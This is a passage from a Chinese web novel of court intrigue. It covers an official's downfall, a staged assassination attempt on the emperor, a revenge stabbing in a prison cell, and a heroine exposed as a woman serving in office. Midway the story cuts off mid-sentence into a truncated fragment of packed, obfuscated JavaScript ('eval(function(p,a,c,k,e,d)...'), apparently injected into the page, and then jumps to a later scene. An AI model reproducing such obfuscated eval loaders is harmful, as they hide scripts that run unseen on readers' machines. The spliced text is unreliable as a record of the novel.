“出血了吗?”季泠坐在他旁边问他。 “无碍。” 徐行穿上衣服下了榻,又回到了圆桌边。 他注意到钱莘的目光,钱莘起疑了。却不知这出情香计,他能信几分。 徐行瞄了一眼季泠,季泠领会出声:“林微,你将这些都撤下去吧。” 支走林微后,徐行捏着箭,看向对面的人:“是谁做的?你怎么看?” “钱莘呗,还能有谁。” “这个箭,你能瞧得出什么?”季泠伸手接过,转了转箭身,又摸了摸箭头,上面还沾着徐行的血。 “普通的箭,没有任何纹饰,自然看不出什么。如果真是钱莘,他总不会蠢到用自家的东西来暗杀,徒留一个把柄给人抓。要我看,这次应该不是为了要命,只是想警示一下,让您安分些。” 安分些?他不过守着吏部一亩三分地,至今也未逾越半分。 张植一事,他竟记仇至此吗? 那焉知,张植的结局,会不会是他与老师的警示呢…… “先生?”季泠伸手在徐行眼前晃了晃,引回他的注意。 木门轻响,两人再度看去,览风闪身而入。 “少爷。” 季泠很识时务地起身准备告退:“先生,看来今天不是谈事情的好时候。我们改日再会吧。” 说完,就要绕过览风离开。 徐行隔着衣裳拉住她的手腕,季泠低头一看,带着茉莉清香的发丝拂过他的手背,终于教他从受刺的疼痛中抽神,捡回他不知何时落下的君子束令。 今晚他们做了多少离奇之事,以至于他竟忘记了她是个姑娘家,却因他而卷入其中,被迫多次逾矩。 他瞬间收回手。 “现在外头都是眼睛,你别从正门出去。” 徐行走到雅间的斜左侧,撩开帘子,将一扇假窗推开,竟然是一条密道。 “从这里出去,直走到尽头,通往下面人的院子,你从那条胡同出去。” 季泠惊讶道:“您还真是熟门熟路。” 徐行见她走进昏暗中,直至那条满褶裙的裙缘也再无只影,才将一切恢复原样。 “射箭之人所在的方位很难断定,因为钱大人宴会的原因,周边几间包房都是空置的,来往的侍从小二很多,没有人查见有什么异常。” 徐行皱眉,难道真的是钱莘所为?确实,不然何以解释钱莘来的那么快,像是早有准备,只等着来看他反应一样。 从他们听见的声音来看,钱莘明显是绕开中间的众多雅间,首扑他这儿。之后再去其他地方巡查,许不过是做做样子罢了。看来还要多谢季泠,反应够快,才让他免受重伤。 在圆桌与软塌边踱步沉思,徐行瞥见了软榻上的荷包和伤药。 他弯腰拾起,荷包口还没束紧,里头的东西如碎纸片一样纷纷洒落。他忙伸出手去接,却是不及。 一张张的竟不是纸片,是干黄的花瓣。季泠倒也是有些雅趣的。 徐行将花瓣轻捻起来归入其中,先替她将荷包妥当收起。 等找个合适的时间再还给她吧。 “钱家父子身边的人,是时候开口吹风了。”徐行捏着荷包,准备推翻他之前的计划。“还有,关照一下荆州那里的人。” 没有人注意到,假窗之内,一个身影去而复返,提溜着鞋子,将两人的对话听了个大概后,满意地悄摸离开了。 月明星稀的夜晚,徐家马车驶入了谭宅。 季泠坐在院中,煮了一壶白芽奇兰,快活地品茶赏月。 “执庸,要是被徐大人发现,他会不会来对付你?” 季泠十分自信:“他不会发现的。”就是笃定这点,她才敢这么做。 只是,那日她确实破绽百出。 在她的计划中,没有钱莘的出现。 也不知道徐行事后回过味来,会不会察觉端倪。 不过,往好处想,钱莘的出现无疑给徐行的紧张添了把火。既然他已经决定冒险赌上一把,那么,开弓可就没有回头箭了。 闫有德近日被户部尚书派去湖广,她眼前又少了个碍事的家伙。眼下,她可谓是双喜临门。 只是,有一阵极快的掠影般的慌张从她心头一闪而过,她还来不及抓住,就已经消失得无影无踪。 但她也不想去掘地三尺地探究了,她许久没有这么畅快,必然要先好好品尝这股畅通无阻的好滋味。 “就算他发现了又如何?还能杀了我不成?我可是他的学生。而且,我们现在有共同的敌人。若是他不对付钱莘,等钱莘独揽大权之时,他就会转头来打压谭谦,如此一来,徐行也讨不了好。” 她和徐行骨子里是同一类人,他们才应该是天然的盟友。徐行但凡脑子正常,也不会来对她做什么。只是,徐行做事太瞻前顾后,她想快速成事,就要推徐行一把。 在身边之人的极尽奉承中,钱莘逐渐膨胀狂傲,完全失去了张瑛在时的谨慎。 居高临下,连清风旭日都惟他先享,再也不必被其他人挡上一遭,这样的畅顺,实在叫钱莘称心快意。 “钱大人,如今您被皇上赐予太子少师一职,免不了要与谭谦和徐行等人打交道。日后汉王登基,谭谦和徐行师生要是联合起来,那您...” 钱莘嗤之以鼻:“徐行?满脑子都是读书人的仁义道德,本官不过敲打一番,他就缩头缩尾。就算不能为本官所用,也掀不起什么风浪。他的恩师谭谦去年入阁,也不过是个庸碌之人,不足畏惧!他们跟在汉王身边又如何?” “汉王如今也不过只是一个无知孩童,天资平平,若非圣上只有这一个孩子,哪能轮上他继承大业。徐行和谭谦也只能将他教成一个守成之主…如今内阁之中,已无人可惧。刘辅钦曾经就是张瑛身边的一条狗,现在张瑛都倒下了,他还有什么可强的。就是杨言庆难搞一些,软硬不吃...” 奉天门外,钱莘一身绯红,趾高气昂地朝着宫门走去,后面跟着一串各色补子的文武大臣,皆是对他俯首帖耳。 大内之中,遍布耳目。养心殿内,锦衣卫指挥使成珏将方才的对话一字不落地禀报。 “此话当真?” “当真,手下之人亲耳所闻,亲眼所见。” “这个钱莘,张口闭口说汉王只能做守成之主...难道他还想做摄政之臣不成!”皇上怒极,重重地摔下茶盏,大殿之内,跪了一地,天子之怒,人心惶惶。 午后,谭谦和徐行循例到养心殿向皇上汇报近日汉王听讲情况。 今日皇上似乎格外关注此事,频频发问。 “多亏两位爱卿,将汉王教导得很好。只是,汉王资质平庸...”皇上似乎惆怅,难掩失望。 徐行微微一笑,躬身进言:“陛下多虑,汉王天之骄子,怎会资质平庸。汉王殿下勤恳不辍,踏实持重。如今年纪尚小,只待来日厚积薄发。上善若水,水善利万物而不争。泉涌而流水,至于海而不止。汉王聪慧,自有思量。” 皇上合掌大笑。汉王是他独子,是谢家的血脉,未来的帝王,绝不允许任何质疑。 忽然一阵惊雷震声,殿内四人都不由地转头看向外头,紧接而来的就是倾盆大雨。 皇上疑惑:“怎么入秋了,还有这么大的雷雨。” 严诚侯在一旁,思虑一会儿,恭敬回复:“禀圣上,近日天气总有不好,听说,南方沿海还多发赤潮飓风,这些本都是夏初才有的迹象。” 谭谦看了一眼严诚,提出建议:“皇上,不妨请钦天监来看看吧,若是天象有异,也好及时防范。” 几日后,谭谦受召进宫与皇上商议秋闱诸事,此时候在养心殿外,已经等了一个时辰了。 严诚走出来,向他行礼:“谭大人,皇上请您进去。”谭谦颔首,走进养心殿时,钦天监使正与其擦肩而过,两人客气地见了礼。 秋闱事议后,皇上突然说起钦天监使之言:“谭卿,钦天监使说,近日天象有异。天枢渐暗,开阳辅星夺光,恐有内乱,宫中内务需要加强防范。你怎么看?” “臣以为,术业有专攻,钦天监使夜观天象,觉察出有不妥之兆,陛下大可听从。只是,人心难测,为免有人借此生事,陛下不妨秘密进行,隐而不发。” 十月十五这日,本该是圆月高悬,不知为何,突现层层密云,将月亮的光辉全部遮掩,天空一片漆黑。 若是不提盏灯笼,长街上的人怕是连路都摸不着了。 今夜的皇宫特别沉静,连守夜侍卫的脚步声都轻了许多,登高望去,宛若凄寂空城。 “师傅,皇上今日怎么召了郑选侍来侍寝?平日咱都没听过这号人。” 严诚道:“这你就不知道了。今日御花园之中,郑选侍在盛开的菊花丛中翩然起舞,那身姿曼妙,一下就吸引了咱们陛下,立刻就要她今晚侍寝来了。” 寝殿之内,歌舞不休,莺啼婉转,严诚拉着小太监往外走:“别耽误皇上的好事。” 本来严诚这个秉笔太监是不必干守夜这样的活。只是自从钦天监说了恐有内乱之后,皇上就要求他寸步不离,以防意外突来。 更深露重,到了后半夜,天子寝殿之内终于是安静下来,深秋的夜有些凉,严诚与小太监拉着被子,昏昏欲睡。 突然,一声重物砸落,砖石地面传来经久不绝的震动。 严诚立刻清醒,抓着小太监就往寝殿内跑,门一打开,地上烛台蜡烛散落一地,先前还在舞动承欢的郑选侍像是变身了厉鬼,死死地掐着皇上的脖子。 “刺客!有刺客!”严诚高呼,冲上去将疯魔般的郑选侍拉开,闻声而来的侍卫立刻将郑选侍制服。 皇上在严诚的搀扶下坐了起来,大口喘着粗气,满脸通红,劫后余生中还带着些许慌乱,脸上的细褶中藏匿着对死亡的恐惧与颤抖。 他死死抓着严诚的手,走下龙榻,毫不客气地捏住郑选侍的脸。 生了这样一张漂亮清纯的脸,竟然敢在入夜之时,用烛台刺杀他,好在他近几年觉浅,郑选侍一动身,他就醒了过来,刚一睁眼,就看见她操起烛台,正欲刺入他的脖中。 他惊吓之余用力一推,手臂被烛台刮出一道血痕,郑选侍仍不死心,不知道哪里来的力气,将他死死压在床上,差点将他掐死,好在严诚来得及时。 “是谁,派你来的。” 郑选侍闭上眼,咬着嘴唇,泫然欲泣,我见犹怜。 皇上再无怜香惜玉之心,抬起手狠狠地扇了一巴掌,厉声质问:“说!是谁派你来的!” 郑选侍仍然不应。 “严诚,给我好好审!不惜一切代价,将她背后之人,给朕揪出来!” 严诚领命,一众侍卫将郑选侍带了下去,寝殿内霎时间又恢复了先前的宁静。 皇上瘫坐在床上,胸腔急速地上下起伏着,他的脑海中不由自主地浮现出一个瘦小的人影,那双狭长的眼睛,在无声中承载了这位天子的雷霆怒火。 “恐有内乱...钦天监真是料事如神。这场内乱,是有人寻了时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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最终在内心轻叹,是他来的时候不对,如此定是会将她陷于暴露险境之中。他提前软下态度,等待她的回复。 “徐大人当时可是说,叫下官不要对付钱大人的。” 徐行察觉不对:“你为什么叫我徐大人?” “是您说的,您是我的上官,”她略往后靠了靠,语调慵懒又疏离,随后转过头,似笑非笑又漫不经心道:“我不该以先生相称。” 徐行侧头看向她。她这几年一路走来,容貌变了,性子收了,野心盛了,可这副倔脾气,仍旧是她万中无一的鲜亮底色。 一点亏都吃不得的。 既然是他有求于她,那确实应该给出诚意。清贵如竹的徐大人微微垂首,难得妥协屈服:“你还真是记仇...算是为师的不是,今日事出突然,我才冒昧前来。” 季泠一笑,既然徐行给了她台阶,那她就顺着下吧。 “出了什么事?” “张瑛死了。死前留了一封信,详写了钱莘与其子钱雄略为官多年,横行乡里、罔顾法纪、图谋入阁、残害忠良、专权擅政的罪证。那几天,宫中有一密事...” “有人行刺?” 徐行惊讶:“你怎么知道?” 季泠得意地笑了:“您的老师亲手谋划的一个好局而已。不这样兵行险招,怎么让皇上痛下杀心。钱莘可是皇上登基之后提拔起来的第一人。” 而且,谭谦想出头,必然要选择先人之路——砍伐占据高地的那颗大树,自己取而代之。 季泠说完,就将早已准备好的东西甩在桌上:“那么先生,您又该如何谢我呢?” 徐行拿过,草草翻了一下,这下确实是证据确凿了:“大恩不言谢,我记住了。” 季泠嗤笑:“那我可真怕您恩将仇报。世人都说升恩斗仇,我替您办了这么大一件事,还差点被钱莘的人杀了,您就这样轻轻带过?未免也太无情了些。” 她收集钱莘罪证虽是擅自打了徐行的名头,以通明路,顺理成章地看到她六品官职所无法接触的辛秘。可钱莘也不是吃素的。她为达目的,屡次以身试险,不知从钱莘的杀手暗卫手中侥幸逃脱多少回。若非她多番乔装换皮,钱莘怕是早就疑心到她头上了。 一句大恩不言谢,就妄想打发了她?未免太没良心了些。 她做账的时候,最讨厌看见拖欠和预支。 “你被钱莘的人抓住过?” “不止一次。” “后又逃脱?” 季泠无所谓道:“险象环生,天不负我。” “你竟也不怕?” “怯则生惧。学生任重力微,不敢害怕。” 季泠的语气平淡,从前灵跃之声在深秋冷夜之中,竟积聚着怅然凋亡的孤寂。 还不及徐行出言关心,季泠却又粲然一笑,指尖点着被徐行压在八仙桌上的册子。 一声又一声,敲在册子上。 她的指尖有点凉。 “徐大人,纸册虽薄,可人命厚重。上面沾染的,还有我的血。万望您,不要辜负下官厚意。” 说完,季泠眼神下落,瞥见他的左臂,又似乎想到什么般,倾身朝他靠去,带着少女的纯真,望着他,轻声问道:“您的伤,好些了吗?” 徐行一顿,竟不知如何作答。 她提起他的伤,是为了关心他这位先生吗?还是说,想要让他深记不忘,为了这份证据,她在暗处承受多少伤痛,付出多少血泪的代价。 他突然发现,季泠的心思越来越难猜了。 从前他阅历颇丰,季泠初出茅庐,他作为先生,还能时不时提点一二。 可是入朝两年多,季泠的蜕变比他想象中的快太多,现在他与季泠对话,都感觉有些如芒在背,似乎她总是话中有话,藏着软刃,伺机而动。 是否,将来会有一日,他们利益相悖,各自为政,不得不开始一场棋逢对手的殊死鏖战? “三年任期一到,闫有德的位置就会空出来。” 季泠这才满意地笑了,繁星成为她瞳中野心的点缀。 “学生多谢先生提携。更深露重,先生好走。” 季泠下了逐客令,徐行也只好起身。 推开隔扇门,徐行转身,凝视着站在太师椅旁的季泠。 铃阁风传漏,书窗月满山。 深秋的风不算轻和,带动她的乌发肆意扬起。她整个人都拢在月衣之中,无暇顾及青丝的凌乱。月光洒入堂内,混合着烛光,在她月衣与黑发之外,晕出朦胧又虚幻的柔光,为她平添一件浓雾般的氅衣。 徐行柔和地开口:“航青,你变了许多。” 季泠被他私语般的呢喃扼住呼吸,微不可察地收敛了笑容,复又立刻笑起来,看起来很是乖巧:“总归是好的变化,不是吗?” 徐行点了点头,算是吧。 他离开了石竹巷。 朝会之上,凭借徐行所呈证据和张瑛遗信,左都御史杨言庆、刑部侍郎潘汝成、大理寺丞林清许出言弹劾钱莘一党。 皇上看过严诚呈上来的如山证词,立刻下旨,以犯上作乱之罪将钱莘及其子择日处斩,余党全部关押、革职、流放。 短短几日,钱莘就从威风凛凛的内阁首辅,变成了命寄地府的阶下之囚。 明日就要问斩的钱莘此刻闭眼靠在刑部监牢的灰墙之上,再不复颐指气使。 钱莘看着端着烛火前来的徐行,捶胸顿足:“徐行!是老夫太小看你了!你竟敢联合谭谦与张瑛陷害于我!” 徐行走进蹲下,用烛火照亮钱莘的脸:“陷害?呈堂证供,桩桩件件,哪个所言不实?钱大人,自作孽不可活。昔日专擅国柄,可曾想过如今登高跌重?” “哈哈哈,登高跌重...没想到,最后竟然只有张瑛得了个善终...徐行,你走入内阁是迟早的事情,利欲熏心啊。” “曾经张瑛也是我的好老师,可最后还不是自相残杀。权力诱惑之下,你和谭谦,也逃不掉。” 徐行沉默不语。有如此前车之鉴,他与老师,必然不会重蹈覆辙。 甬道另一侧尽头,季泠和林微也出现在一间牢房之外。 “季执庸?你怎么来了?我与你们户部,可素无往来。” 此处关押的是钱雄略,皇上下令,定要父子两人远远相隔,行刑之前,不许相见。 “我不是来看你,只是来看看这处牢房。” 钱雄略不解,只是一脸敌意地看着她。 “曾经,我也在这儿住过几日,还托钱大人的福,受了私刑。”那顿笞刑,让她半死不活,是她进入京城以来,第一次质疑自己的选择,第一次直面官场中的权势。 渡过那场劫难,再也没有什么能够阻止她向上爬。 她知道钱雄略不理解,但她本来也不打算合盘托出,带着疑惑死去才叫人痛快。 她叫来赵六替她开了门,赵六犹豫片刻,在她眼神震慑之下,还是开了。 林微让赵六放心:“明日他就要被问斩了,你不必担心,只要嘴巴闭严实,此事无人知晓。” 季泠与林微一同走进牢内,半蹲下来。 昏暗的牢狱中,季泠仿若午夜罗刹:“三年前,你强抢有夫之妇,戕害其族,玷污其清白的时候,可曾想过,会有今日?” 尘封的罪孽让钱雄略惊恐:“你怎么知道?” 季泠俯身轻轻说:“你猜我怎么知道?那位姑娘惨死,从地狱之中爬出来,附身于我,要我,替她报仇啊。” 话音刚落,季泠就举起刚刚从赵六那里顺来的短刀,狠狠地扎到钱雄略的胯间,顿时血涌如柱,溅在季泠和林微的衣裳上。 她拔出刀,随意往地上一扔,由林微搀着走出牢房。 甬道之中,脚步声愈来愈近,季泠抬眼看向来人。 “先生?好巧。” 徐行闻见她身上的血腥气,看见她拿着帕子用力地擦着手上的血,膝部以下的衣裳上都是血迹。 季泠顺着他的视线看向自己的衣服,不在意地扯了扯:“无妨,沾染上脏东西了。只是可惜难得的好料子。” “你动手了?” “没有,只是取了一件早就不该留在他身上的东西。” 她不欲再次逗留,直接越过徐行:“先生,我先走了,近日累得很,该要回去沐浴焚香,顺便,替亡故之人上柱香。” 季泠背影落寞,在林微的陪伴下上了马车。 59. 冬至夜独淋冬至雪 张瑛与钱莘的倒台掀起的血雨腥风在皇城内外久弥不散。 朝中多位空悬,无异于有益徐行和谭谦建立书院、擢选良材之事。 季泠再一次踏入公主府,往礼贤殿方向走去。 书院提议已经过了一年,如今初有成效,秋季已经招收第一批学子,虽然不算十足的男女均等,但女子也占了四成,算是不错的开端。 礼贤殿前,一个容貌姣好的女子正前呼后拥而过,见到那抹青影,立刻停下脚步,直至谭谦、徐行和公主都进入殿中,殿门被侍卫紧紧关上。 她偏头向身边的侍女询问:“那人是谁?” 侍女循声看去,礼贤殿缓缓合上的缝隙中,金碧辉煌的殿堂内,有一点青绿之色,在两道绯红之间站起,端正地见了礼。 “是第一位穿青袍的大人吗?” 她点点头,侍女又答:“似乎是户部主事季大人。” 她盯着那扇紧闭的门,不过一扇门而已,竟将一切她所渴求的,都拦阻隔绝了。 “季大人?名字为何?” “这奴婢便不知了。奴婢只知道,季大人和吏部徐大人、礼部谭大人,近一年都常来礼贤殿找公主议事。” 女子转回头,端起手,继续在簇拥之下前行,右侧嘴角和眼角闪过一丝如获至宝的笑意。 这样风平浪静的日子,季泠过了两个月。 “今年总算能过个好年了。” 季泠捶着自己的肩,走到炭盆旁边,伸出冻得刺痛的手,借这温暖,好让她的手快些恢复知觉。 林微烘着手道:“今年倒没有去年那么冷,年节我们可以找个地方游玩一下,权当休息了。” 季泠点点头:“湖广吧,咱们这次换个地方玩。” 林微张大嘴:“又去湖广?” 季泠摊摊手:“那我也没法子啊,谁让我就坐在这个位子上呢。下次见到徐行,我一定要叫他想办法帮我换个地方,最好就在京城周边,省的我如此辛苦。” “真要换你又不情愿了,前面两年多干的岂不是打水漂。” 季泠嘿嘿一笑:“知我者,莫若你。” 她确实只是逞口舌之快,在一件事情上付出了那么多心力,怎么舍得说放下就放下呢。 冬至当日,皇上设宴于奉天门前,款待百官,共庆佳节。 季泠和祝扶春以及其他户部同僚坐于一处,谈笑风生,相互祝福。 过了年,季泠就要二十三了,他们这样的小官,若想出人头地,除了跟对人,以得机会在各类新政中大展拳脚之外,最平顺的方法就是熬资历。 季泠贪心,想两手兼收。 她盯着黄酒之中模糊的脸廓,思绪被旁人一声打断。 “季大人还未说亲吗?”季泠尴尬地摇了摇头,内心祈求他们快别再多言。 这话题一掀起来,那就没完没了了 “你可别搅了祝大人的好事。祝大人可替自家妹妹盯着季大人呢。” 那人恍然大悟:“啊?哈哈哈,原来如此啊。难怪平日两位大人关系甚笃,原来是要成亲家了。” 季泠一时间语塞,勉强扯了个体面的笑,只说:“不急不急,先立业后成家。” 祝扶春本还想替她打圆场,却被这句话塞了回去,只是端起酒杯笑了笑。 宴时虽未下雪,可累日的雪已然积了厚厚一片。热酒入喉,倒能让她暖上几分。 酒过三巡,群臣正酣时,末尾一位官员晃晃悠悠站了起来,向皇上祝酒。 季泠寻声看去,倒是眼生。 皇上欣然举杯:“众卿同贺!” 祝完酒,那人却没有坐下,醉醺醺地走上前去,噗通一声跪了下来:“臣,要状告一人。” 佳节庆典,却无断搅起风波,皇上眯了眯眼,沉声问:“你要状告何人?” “臣,要状告户部郎中,季执庸!” 季泠猛然抬头,手中的酒杯在震惊中歪倒,酒水四溢,弄脏了她的袖口。 祝扶春惊异之际,却比她要镇定些,连忙替她擦去桌前的酒水,朝服脏污,若要追究起来,也是一桩不敬之罪。 “哦?你告季执庸何罪?” 那人摇晃了下头,声如洪钟:“臣状告季执庸,女扮男装,混淆视听,欺君罔上,不顾伦常。” 御座下侧的公主立刻腾地站起来,双手端正合于腹前,紧紧地盯着那人。 徐行聚神于案前菜肴,双瞳骤紧,攥了攥拳,抬眼观察着上位者的神情,又望向丹墀之下那不识好歹之人,最后随着众人一道,将目光聚于那风口浪尖之人。 身侧的谭谦只微微偏头,就看见徐行绷紧的嘴角与下颌,以及过于沉缓的呼吸,便已然洞悉。 冬日惊雷之中,祝扶春却未顾及良多,仍如往常一般,拍着季泠的肩膀,安抚着她,让她稍安勿躁。 季泠已然陷入深水没颈的绝望,可这股浪却只在她口鼻之下沉浮,激得她双手止不住颤抖。 悬而未决的玄钺何时将要夺取她的生机,她不知道。 寒冬腊月,她冷汗将要下起细雪。赤罗裳里的肌肤几乎被是炭火直贴上来,烫得她坐立难安。 宴桌四周,先前还在相互敬酒的同僚听到这样的消息,面面相觑,又不约而同地看向季泠,忍不住将目光挪到她的喉口和胸前,而后便再不离开,长久驻留。 文武百官,清流权臣,无不例外。全场目光全化作了手,就在大庭广众之下,将她引以为傲的赤罗衣裳一件件毫不留情地剥开,直到她不着寸缕地展现在所有人面前。 她甚至不敢闭眼,只能死死地揪住敝膝与绅带,冷眼静观局势。 “臣也状告季执庸。此女一直隐瞒身份,将众臣与皇上愚弄欺瞒,目无法度,无法无天,实在可恶!臣请求,当堂查验她的身份,核实之后,立即交由大理寺处置!” 一人之言,兴许是醉酒玩笑。可双官的言之凿凿,无疑将她的身份钉死了。 尖风薄夜,群起攻之。 冬至宴中,一片又一片赤影上赶着出列,争先恐后地为这场盛况添一把火。 终于,金座威声制止住了这场闹剧。 “来人,宣太医与尚宫。” “父皇!不可!” 季泠随着严诚走到天子跟前,嘴唇已然惨白。先前喝的那两口热酒,几乎无济于事。 “季执庸,既然如此,朕就派人验上一验,以解众卿心头之惑。” 季泠抬头,第一次如此近距离地幸见天颜,她满心以为会是她加官进爵的那日,却不曾想竟然是死于非命的这日。 可雷霆雨露,皆是君恩。 季泠跪下,叩首,沉重而坚定:“微臣,遵旨。” 一炷香后,在炙热众目的迎接下,季泠随着太医与尚宫归来,跪在殿下,面色苍白。 “回禀陛下,季大人,确为女儿身。” 此话一出,如峭壁巨石坠湖,素日端肃严正的朝臣瞬间如蝇逐臭般四下炸开。 季泠抬头,透过耀眼灿烂的宫灯和黄麾,望着殿前漠然的天子与群臣,身侧跪着的全是刚才状告她的人。 季泠终于绝望地闭上了眼。 四面楚歌,孤立无援。她该怎么办?公主的话皇上亦不理睬,她又该如何自救? 徐行看着季泠,茕茕一人,跪在风雪之中,周身环绕的全是伺机对她落井下石的恶犬。他的双掌落于腿上,已然按捺不住。 谭谦立刻将他按下,摇了摇头。 此劫,无人能渡她。 季泠低头,在自己所投射下的暗影之中,轻轻勾起了笑。 没想到,还没成功让徐行兑现诺言,坐上闫有德的位置,自己就要被处置了。 她感受到,积雪在膝盖下渐渐融化,正如她上京这五年的时光缓慢逝去,冰寒之意刺进她的骨髓之中,让她疼痛,也让她清醒。 季泠握住一把雪,体会到她作为生者的无穷之力。在她的手心中,寒雪化水,不过须臾。 病树前头万木春,既然如此,兵来将挡吧。 她微笑着抬头,再不需压抑她的声调。于是,如破云而出的金光般,她清朗之声在奉天殿前激荡。 “皇上,今日风波由臣所起,无论处置为何,还望皇上与诸位大臣听季执庸一言。” 她俯首磕头,从怀中掏出珍藏了一年的玉玦。 “臣,今日罪有两桩,一是欺瞒圣上,以女子之身为官。二是开辟先道,在男子主宰的朝堂之中,微臣以女子之身闯入。依众臣所见,此举破坏纲常,罔顾法度。” “第一桩罪,微臣斗胆以一年之前,皇上所赐玉玦相抵,万望皇上宽恕微臣难言之隐。” 皇上点了点头,严诚下来将玉玦收了回去。天子一言九鼎,既然当日他送出这块玉玦,今日他就不能摔玉否认。 “第二桩罪,微臣却难以认下。” 季泠此言方落,翰林院与督察院之人的谩骂随之而起,直言她牝鸡司晨,祸乱朝纲。 季泠无畏,沉声冷静应答:“皇上垂拱九重,明察万里。无论是当年于东南四省开创女子入学之先河,还是今朝在京城设立书院、肃清吏治,陛下求的都是能治国辅佐的贤才,而贤才,自然无分男女。 臣身份所限,却有殷殷报国之心,不得不曲线救国,隐瞒身份,进入朝中。然臣并不后悔,入朝两年,臣自认,仰不愧于天,俯不怍于人。待人处事,皆循正道。夙夜惕厉,终全社稷。臣不敢比先贤,惟存葵藿倾阳之诚。” 她一席话尚未说完,就有人按捺不住,抢先驳斥:“男有分,女有归。你季执庸难道要破除祖宗之法,罔顾伦常吗!” 季泠毫不客气,迎敌而上:“何为祖宗之法?利国利民才是天道!若要固守祖宗之法,那高祖时期的神勇、英勇、骁勇三位公主将不在收复南蛮,征战北夷,讨伐西戎的战场上,试问,若无三位公主誓死守卫国门,各位大臣此时还能心安理得地坐在此处金盏玉杯、宴饮摇光吗!” “哪有打天下时说出男女一致、皆应出力,治天下时却说出天道阴阳、内外有别的道理?人道经纬,岂分牝牡?” 季泠直接起身,对那位出言反驳他的官员步步紧逼,不让分寸:“众位大人都喜欢说,妇言勿听。可见青史之上,文母邑姜位列十乱,长孙皇后谏停征辽,皆为补衮之贤,并不逊于男子半分。” 语罢,季泠转身,双手郑重地提起赤罗蔽膝,一步步迈向累层踏跺。 满朝文武就见她独身从丹陛走过,看似视死如归,又似是迎接灿烂朝阳。 季泠跪在皇上面前,最后一拜,掷地有声:“微臣虽樗栎庸材,终勤恳不辍,宵衣旰食,晨兢夕厉,谨以报君恩。陛下圣明贤君,定知拘《仪礼》糟粕,守《闺范》死规,昧江山用才之急。若能革此千年锢习,英杰必涌如潮。” 皇上透过眼前的人,似乎又看到当年,他初登帝位、面对诸臣质疑时,替他舌战群雄的长公主;又像是看到谢仪若干年前的样子。 他侧头看去,谢仪正凝重地看着跪在地上的季泠,又以乞求的眼神看向他这位父皇。 罢了罢了,当初既用了季执庸,就料到会有今日。 在漫长噬人的沉默中,皇上走下御座,示意谢仪扶起季泠。 而后,出乎所有人的意料之外,这位素来厌恶欺瞒的圣上,出言替季泠宣告百官。 “有此巾帼良才,乃是我朝之福,天下之福!” 众人被这 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她像是被抛上天空,又从云层上掉落,全身划过密林的尖锐枝干,最终坠入深潭。 起起伏伏,迭迭宕宕,她有些无法承受了,一杯又一杯,她本不喜酒愁,但已经克制不住自己。 从始至终,祝扶春的视线都系于这单薄脊背之上。他看她被皇上叫起,看她无助地跪在众目睽睽中,看她声色俱厉地反抗,看她最终凭借自己平安渡险,又看她坐在身边怅然若失。 祝扶春终于看不下去,压住季泠再次伸向酒壶的手:“执庸,你醉了,别喝了。” 季泠将他的手拂落,继续倒着:“没有酒,我今晚走不回去。” 同桌的几人纷纷埋头,相顾无言。 宴席结束,季泠似乎已经大醉了。身边人都纷纷离席,连祝扶春都被他的父亲拉着离开。 季泠抓着酒壶,疲惫地靠在臂上,眼下晕出一片酡红。 四品以上的官员从上方走下,经过时都忍不住侧头瞄一眼季泠,看看今日大出风头的女人。 季泠知道大家都在看她,反正日后也不会太平了,就让他们看个够吧。 “季大人...季大人...” 季泠慢慢睁开眼,是越兼。她借着越兼的手,吃力地站了起来,走到公主面前。 “殿下,执庸失败了。” “不,执庸,你成功了。从今往后,你就是朝中名正言顺的第一位女官。” 呵,第一位,她昔日便是被这样耀眼的名头糊住了。 “众矢之的。”季泠叹了一口气,全是酒气。 公主忍不住皱了皱眉头:“执庸,你喝多了。” 季泠摇摇晃晃,抬头看向公主,双眸明澈:“殿下,今日臣只能喝多。不当众出个丑,爬回去,怎么能渡过此劫呢?” 那些男人不会允许她兴师动众地进场,搅乱他们原有的浑水,又事不关己地抽身离去。 “本宫找人送你回去吧。” 季泠摇摇头,将手从越兼怀里抽了出来,不得已地退后一步:“殿下,从今往后,盯着我们二人的眼睛更多了,您与我要少些牵扯才是。” 公主看向眼前的姑娘,靠着一壶热酒,遮掩了她的落寞与苍凉。 季泠终究也走到了这一步。她如今已经完全明白规则。 尊贵如公主又如何,还不是言不由衷,身不由己。 谢仪带着越兼离开,季泠恭送着她尊敬的殿下,她明白,从今往后,这段漫漫长路,自己只能踽踽独行了。 “老师,您先走吧。” 谭谦拍了拍徐行的肩膀:“润旻,大内禁地,不可妄为。”语重心长,徐行颔首。 奉天殿前,风卷残酒,人去羹凉。他一步步从丹墀之中走下,看着季泠形单影只,摇摆踉跄。 季泠像是受到感应一般,晕乎乎地转身,偏头问他:“咦?先生?你怎么还在这里?不赶紧回去吗?” 徐行摊了摊手道:“有些吃撑了,走慢些,消消食。” 季泠嘿嘿一笑:“你吃撑了,我喝多了。我们两个真好笑呀。”说完就要把自己转摔倒了。 徐行一把将她扶住,季泠却赌气甩手。 “你是真吃撑了,可我确是假喝多了。我知道自己在干什么。” 瞬间,琼霄深处,绽开一朵很小很小的烟花,将黑夜照得明亮几分。 夜幕浩大,两人并身,好奇眺望。 随即又是一朵,又是一朵...进而无穷无尽。 散落的烟花又变成一盏盏小灯,坠落的瞬间,也在照亮人间。 那是很远很远的地方燃起的烟花,就像火铳朝天而发所致的,小小的一点,却也能与繁星争夺一点光辉。 奉天门前,阒然无声,以至于就算那么远,他们也能听见一些声音。 季泠久久伫立,低声喃喃:“我也要做一朵烟花。” “为什么?”徐行站在她身侧,看见漫天烟花在她醉意迷蒙的眼眸中散开,熠熠闪亮。 “虽然只是一瞬间,可是,有人会记得它的耀眼。” 她突然泛起晕眩,一头就要往前栽去,徐行眼疾手快,长臂大袖将她捞住。 最后一声腾空而起的呼啸,那场盛大的烟火落幕了。 季泠晃了晃头,竭力站稳:“先生,今夜的烟花,真漂亮。希望以后每年的冬至夜,我们都能在奉天殿前看见烟花。” 说完,两手一抬,像乡间玩水的姑娘般,将赤罗大袖甩起来,就往宫门口冲去。 季家的马车旁,林微嗔怪的疑问与季泠撒娇的醉话同时响起。 “会的。以后每年的冬至夜,奉天殿前,都会有烟花。”他转身朝着徐家马车走去。 60. 聪明人反做糊涂事 次日醒来,季泠头疼得厉害,白芨立刻送了碗蜜茶,总算让她从宿醉之中缓了过来。 